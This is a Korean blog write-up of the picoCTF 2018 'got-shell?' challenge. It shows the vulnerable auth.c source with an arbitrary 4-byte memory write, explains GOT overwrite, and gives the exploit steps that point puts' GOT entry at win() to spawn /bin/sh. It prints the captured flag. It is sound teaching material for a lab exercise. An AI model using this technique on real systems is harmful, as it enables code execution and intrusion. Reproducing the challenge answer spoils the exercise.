제리의 블로그

picoCTF 2018 got-shell? Binary Exploitation 본문

CTF/pwnable

picoCTF 2018 got-shell? Binary Exploitation

j3rrry 2018. 10. 9. 17:28

got-shell? - Points: 350 - (Solves: 430)

요약

본 문제는 GOT Overwrite 문제입니다.

문제 서버에 접속해보면 address 와 value 를 입력받습니다.
auth.c 소스코드를 확인해보니 16진수 값으로 입력받은 두 값을 이용해서
특정 위치의 값을 덮어씌울 수 있었습니다.

GOT Overwrite 가 일어날 조건도 충족하고 있으므로
타겟을 puts 로 잡고 win() 함수로 덮어씌우면
쉘을 획득하여 플래그를 확인하는 문제였습니다.



Description

Can you authenticate to this service and get the flag?
Connect to it with nc 2018shell2.picoctf.com 54664.
Source




Writeup

# nc 2018shell2.picoctf.com 54664
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
12345678
Okay, now what value would you like to write to 0x12345678
34567890
Okay, writing 0x34567890 to 0x12345678
문제 서버에 접속해보면
위치 정보(오프셋 주소)와 덮어쓸 값을 16진수로 받고 있었다.




#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

void win() {
  system("/bin/sh");
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[256];

  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);

  scanf("%x", &value);

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;

  puts("Okay, exiting now...\n");
  exit(1);

}
소스코드 7번째 줄에 떡하니 win() 함수가 있으니까
당연히 win() 함수를 이용해야 한다.

물론 main() 함수 그 어디에서도 win() 함수를 호출하는 부분은 없으므로
익스를 통해 win() 함수를 실행하게끔 흐름을 바꿔야합니다.



소스코드의 32번째 줄이 주소에 값을 덮어씌우고 있는 부분이다.
0x12345678 주소에 4바이트 0x34567890 을 써넣는다.



이번 문제는 GOT Overwrite 문제이다.
GOT란 Global Offset Table의 약자로
바이너리(목적 파일, Object file)가 컴파일될 때
필요한 라이브러리 함수들이 동적 링킹되며
그 정보들이 GOT 에 저장되게 된다.
(오프셋들이 저장되어있는 table 을 뜻 함)

그렇기 때문에 바이너리가 실행될 때
GOT의 주소를 참조해서 함수들을 실행하게 된다.



GOT Overwrite 공격이 가능하려면
1. static 컴파일되지 않아야 한다.
2. Full Relro 가 아니어야 한다. (=GOT 를 덮어쓸 수 있어야 한다.)





>>> from pwn import *
>>> e = ELF('./auth')
[*] '~/picoCTF2018/auth'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
>>> e.statically_linked
False
>>>
Partial RELRO 라서 GOT 를 덮어쓸 수 있고
static 컴파일도 아니다.
GOT Overwrite 조건은 만족한다.



이제 어디를 타겟으로 삼을 것인지 봐야한다.

auth.c 의 32번째 줄을 실행한 다음
34와 35번째 줄의 puts 와 exit 함수는 실행된다는 것은
C 언어 공부해본 분들이면 다 알 것이다.

이 writeup 에서는 34번째 줄의 puts 를 타겟으로 삼을 것이다. (exit 을 타겟으로 삼아도 됨)
puts 가 호출 될 때 분명 GOT 를 참조할 것이고





.got.plt:0804A00C      dd offset puts          ; DATA XREF: _putsr
.got.plt:0804A010      dd offset system        ; DATA XREF: _systemr
.got.plt:0804A014      dd offset exit          ; DATA XREF: _exitr
.got.plt:0804A018      dd offset __libc_start_main
.got.plt:0804A018                              ; DATA XREF: ___libc_start_mainr
.got.plt:0804A01C      dd offset setvbuf       ; DATA XREF: _setvbufr
.got.plt:0804A020      dd offset sprintf       ; DATA XREF: _sprintfr
.got.plt:0804A024      dd offset __isoc99_scanf ; DATA XREF: ___isoc99_scanfr
puts 의 GOT 는 0x804A00C 에 위치하고 있고
여길 win() 함수로 덮어씌우게 되면 쉘을 획득하게 된다.




# python -c 'from pwn import *;print hex(ELF("./auth").sym.win)'
0x804854b
# nc 2018shell2.picoctf.com 54664
I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
804a00c
Okay, now what value would you like to write to 0x804a00c
804854b
Okay, writing 0x804854b to 0x804a00c
id
uid=1224(got-shell-_3) gid=1225(got-shell-_3) groups=1225(got-shell-_3)
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}
^C
#


Comments